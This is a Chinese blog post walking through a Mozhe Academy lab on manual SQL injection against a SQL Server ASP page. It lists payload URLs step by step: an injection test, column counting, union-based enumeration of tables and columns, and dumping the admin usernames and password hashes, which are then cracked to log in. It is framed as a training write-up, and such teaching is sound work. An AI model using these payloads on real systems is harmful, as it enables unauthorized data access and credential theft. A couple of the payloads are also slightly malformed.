SQLServer数据库注入-墨者学院(SQL手工注入漏洞测试(Sql Server数据库))

        本期来为大家讲解的sql注入题目是来墨者学院的SQL手工注入漏洞测试(Sql Server数据库)。

        地址:http://219.153.49.228:42295/new_list.asp?id=2(注意地址已失效仅供参考)

首先第一步,看是否存在注入点。

构造Payload “http://219.153.49.228:42295/new_list.asp?id=2 and 1=2”

http://219.153.49.228:42295/new_list.asp?id=2 and 1=2

        回显报错,说明“and 1=2”语句拼接到了后端数据库查询语句当中。

        接下来我们就开始猜解后端收据库能够返回多少个字段

        使用order by构造Payload “http://219.153.49.228:42295/new_list.asp?id=1 order by 4”

http://219.153.49.228:42295/new_list.asp?id=1 order by 4

        Order by是数据库查询的时候对结果进行的排序,如果后面写的是字段,则根据查询字段进行排序,但如果后面写的是数字,该数字大于所查询的字段数,则就会报错,小于的话就不会报错。

        发现order by 5的时候没有数据回显,order by 4 有回显数据,所以后端返回到前端的数据字段数为4个。

        下面就要开始检测这4个字段当中哪些字段可以被前端显示出来。

      使用union 查询来构造Payload “http://219.153.49.228:42295/new_list.asp?id=2 and 1=2 union all select 'null',null,null,null”通过前端页面是否显示null字符来判断第一个字段为回显数据字段。

http://219.153.49.228:42295/new_list.asp?id=2 and 1=2 union all select 'null',null,null,null

 

 

        通过测试发现只有第二第三个字段是前端回显数据字段。

        这样我们就可以在这两个字段当中来查询我们想要的得到的数据。

  例如得到当前数据库名称(db_name())和当前用户(user,system_user,current_user),@@SERVERNAME获取服务器主机信息以及数据库的版本(@@version)。

        接下来咱们就开始爆表名。

        构造payload “http://219.153.49.228:42295/new_list.asp?id=2 and 1=2  union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),null,null”

http://219.153.49.228:42295/new_list.asp?id=2 and 1=2  union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),null,null

        其中sysobjects系统对象表,保存当前数据库的对象。Xtype='u' 代表查询表的操作。

        如果希望爆出其余的表即可以构造payload “http://219.153.49.228:42295/new_list.asp?id=2 and 1=2  union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),null,null”

        直接name not in ('已经爆出的表名')

“http://219.153.49.228:42295/new_list.asp?id=2 and 1=2  union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),null,null

        大家还可以在name not in ('已爆出的表名1','已爆出的表名2') 小括号里添加更多已经爆出的表名,这里就不再尝试。

        爆出表名就可以继续爆出字段名了 。

        构造Payload:“http://219.153.49.228:42295/new_list.asp?id=2 and 1=2 union all null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,null”

http://219.153.49.228:42295/new_list.asp?id=2 and 1=2 union all null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,null

        其中object_id代表要查询字段的表名,数字1为第一列的字段,以次类推,直到查询不到字段名位置。

         这里咱们直接从第二列字段名和第三列字段名知道了字段名有username,password。剩下的就交给小伙伴们自己去尝试吧!

        接下来咱们就通过爆出的字段名来查询数据信息。

        构造Payload:“http://219.153.49.228:42295/new_list.asp?id=2 and 1=2 union all select null,username,password,null from manage”

http://219.153.49.228:42295/new_list.asp?id=2 and 1=2 union all select null,username,password,null from manage

 

        这样最终我们就可以获得数据了,将密码进行MD5解密(md5在线解密破解,md5解密加密),返回登录页进行登录,划倒页面最下端就可以看到KEY了。 

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

你们de4月天

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值